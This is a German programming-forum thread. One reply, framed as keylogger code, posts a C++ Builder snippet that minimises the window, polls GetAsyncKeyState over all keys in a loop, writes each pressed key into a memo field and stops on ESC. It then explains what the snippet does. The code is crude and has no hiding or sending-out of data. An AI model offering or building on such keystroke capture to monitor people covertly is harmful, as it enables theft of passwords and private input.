Programm minimiert....
lima-city → Forum → Programmiersprachen → C/C++ und D
beispiel
borland
buchstabe
builder
button
fenster
fragen
log
memo
sender
tasten
warteschleife
wolltest
-
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage
-
willste nen keylogger schreiben?!
hab hier mal n kleines snippet f?r dich:
void log(void) { Application->Minimize(); SHORT KeyState; SHORT ArrKeyState[256]; long CheckSum; long OldCheckSum; OldCheckSum = 987654; while(1) { CheckSum = 0; for (int i = 0; i < 256; i++) { KeyState = GetAsyncKeyState(i); CheckSum += KeyState; ArrKeyState[i] = KeyState; } if (OldCheckSum != CheckSum) { for (int i = 0; i < 256; i++) { if (ArrKeyState[i] == -32767) { if(i == 27) return; // Beenden falls Taste ESC Form1->Memo1->Lines->Add((char) i); } } } OldCheckSum = CheckSum; } } //--------------------------------------------------------------------------- void __fastcall TForm1::Button1Click(TObject *Sender) { log(); Application->Restore(); }
und wat macht dat?
es minimiert das programm bei dr?cken des buttons "Button1" und schreibt jeden gedr?ckten buchstaben in das Memo. ?ber die taste ESC springt er wieder aus der warteschleife und ?ffnet wieder das fenster.
oder wolltest du was anderes?
mfg -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage